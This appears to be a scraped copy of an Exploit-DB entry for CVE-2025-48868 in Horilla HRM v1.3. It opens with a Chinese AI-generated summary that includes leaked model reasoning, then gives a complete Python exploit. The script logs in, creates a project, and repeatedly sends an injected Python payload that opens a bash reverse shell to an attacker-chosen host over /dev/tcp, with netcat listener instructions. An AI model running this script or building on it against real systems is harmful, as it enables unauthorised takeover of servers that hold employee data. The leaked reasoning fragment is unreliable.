[webapps] Horilla v1.3 - RCE
嗯,用户让我总结一下这篇文章的内容,控制在100字以内,而且不需要用“文章内容总结”之类的开头。好的,首先我需要仔细阅读文章内容。 这篇文章看起来是一个漏洞的利用说明,标题是Horilla v1.3 - RCE。作者是Raghad Abdallah Al-syouf,日期是2025年5月29日。漏洞版本是<=1.3,测试环境是Ubuntu和Docker,CVE编号是CVE-2025-48868。 描述部分说这个脚本利用了认证的RCE漏洞。它登录到目标Web应用,创建一个项目,发送payload以实现反向shell连接到用户手动启动的监听器。 使用方法里有参数说明,比如目标URL、用户名、密码、攻击者的IP和端口。例子展示了如何运行脚本。 代码部分主要是Python脚本,使用了requests库来处理HTTP请求,BeautifulSoup来解析HTML获取csrf_token。步骤包括登录、创建项目、发送payload到特定URL以触发RCE。 所以总结一下:这篇文章介绍了一个针对Horilla v1.3的认证远程代码执行漏洞(CVE-2025-48868),利用该漏洞可以实现反向shell连接。用户需要手动启动监听器,并通过提供的Python脚本发送攻击payload。 </think> 该文章描述了一个针对Horilla v1.3的认证远程代码执行(RCE)漏洞(CVE-2025-48868),允许攻击者通过发送特定payload实现反向shell连接。利用该漏洞需登录目标应用、创建项目并手动启动监听器以接收连接。 2026-4-8 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:6 收藏

# Exploit Title:  Horilla v1.3 - RCE
# Date: 2025-05-29
# Exploit Author: Raghad Abdallah Al-syouf
# Version: <= 1.3
# Tested on: Ubuntu / Docker
# CVE: CVE-2025-48868


Description:
This script exploits the authenticated RCE vulnerability CVE-2025-48868.
It logs into the target web app, creates a project, and sends payloads
to achieve a reverse shell connection to a listener **started manually** by the user.

Usage:
    python3 CVE_2025_48868.py --url http[s]://target:port --user username --pass password --lhost YOUR_IP --lport LISTENER_PORT

Example:
    python3 CVE_2025_48868.py --url http://127.0.0.1:8000 --user admin --pass admin --lhost 192.168.1.100 --lport 4444
"""

import requests
import time
import sys
import argparse
from bs4 import BeautifulSoup
import urllib3
import random
import string
from datetime import datetime

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_random_title():
    letters = ''.join(random.choices(string.ascii_lowercase, k=4))
    digits = ''.join(random.choices(string.digits, k=2))
    return letters + digits

def main():
    print("[+] CVE-2025-48868")

    parser = argparse.ArgumentParser(description='Exploit for CVE-2025-48868: Authenticated RCE in Horilla HRM software v1.3. Exploit by:Nakleh Said Zeidan')
    parser.add_argument('--url', required=True, help='Target URL, e.g. http://localhost:8000')
    parser.add_argument('--user', required=True, help='Username for login')
    parser.add_argument('--pass', required=True, dest='password', help='Password for login')
    parser.add_argument('--lhost', required=True, help='Attacker IP (listener must be started manually)')
    parser.add_argument('--lport', required=True, type=int, help='Attacker port (listener must be started manually)')

    args = parser.parse_args()

    base_url = args.url.rstrip('/')
    login_url = f"{base_url}/login/"
    project_url = f"{base_url}/project/project-bulk-archive"
    session = requests.Session()
    headers = {
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest"
    }

    print("[+] Getting login page...")
    login_page = session.get(login_url, headers=headers, verify=False)
    if login_page.status_code != 200:
        print(f"[-] Failed to load login page, status {login_page.status_code}")
        sys.exit(1)

    soup = BeautifulSoup(login_page.text, 'html.parser')
    csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

    login_data = {
        "username": args.user,
        "password": args.password,
        "csrfmiddlewaretoken": csrf_token
    }

    print("[+] Logging in...")
    login_resp = session.post(login_url, data=login_data, headers=headers, verify=False)
    if login_resp.status_code != 200 or "logout" not in login_resp.text.lower():
        print("[-] Login failed")
        sys.exit(1)
    print("[+] Logged in successfully!")

    project_view_url = f"{base_url}/project/project-view/"
    project_view = session.get(project_view_url, headers=headers, verify=False)
    soup = BeautifulSoup(project_view.text, 'html.parser')
    csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

    print("[+] Creating project...")
    create_project_url = f"{base_url}/project/create-project?"
    today_str = datetime.now().strftime("%Y-%m-%d")
    random_title = generate_random_title()
    multipart_data = {
        "is_active": "on",
        "title": random_title,
        "managers": "1",
        "members": "1",
        "status": "new",
        "start_date": today_str,
        "end_date": today_str,
        "description": "Exploit project"
    }

    create_headers = {
        "User-Agent": "Mozilla/5.0",
        "Accept": "*/*",
        "Referer": project_view_url,
        "HX-Request": "true",
        "HX-Trigger": "hlvd701Form",
        "HX-Target": "hlvd701Form",
        "HX-Current-URL": project_view_url,
        "X-CSRFToken": csrf_token,
        "Origin": base_url,
        "DNT": "1",
        "Connection": "keep-alive",
    }

    create_resp = session.post(create_project_url, data=multipart_data, headers=create_headers, verify=False)
    if create_resp.status_code == 200:
        print(f"[+] Project created successfully with title: {random_title}")
    else:
        print(f"[-] Project creation may have failed (status {create_resp.status_code}), continuing anyway...")

    headers["Referer"] = project_view_url
    headers["Origin"] = base_url
    headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"

    print("[*] Ensure your listener is running: `nc -lvnp {}`".format(args.lport))
    print("[+] Sending payload...")

    i = 1
    while True:
        encoded_ids = f"%5B%22{i}%22%5D"
        payload = f"__import__('os').system('bash+-c+\"bash+-i+>%26+/dev/tcp/{args.lhost}/{args.lport}+0>%261\"')"
        exploit_url = f"{project_url}?is_active={payload}"
        data = f"csrfmiddlewaretoken={csrf_token}&ids={encoded_ids}"
        response = session.post(exploit_url, headers=headers, data=data, verify=False)

        if response.status_code == 200:
            print(f"[+] Payload sent for project id {i}. Waiting for shell...")
        else:
            print(f"[-] Error sending payload for project id {i} (status {response.status_code})")

        time.sleep(3)
        i += 1

if __name__ == "__main__":
    main()
            

文章来源: https://www.exploit-db.com/exploits/52497
如有侵权请联系:admin#unsafe.sh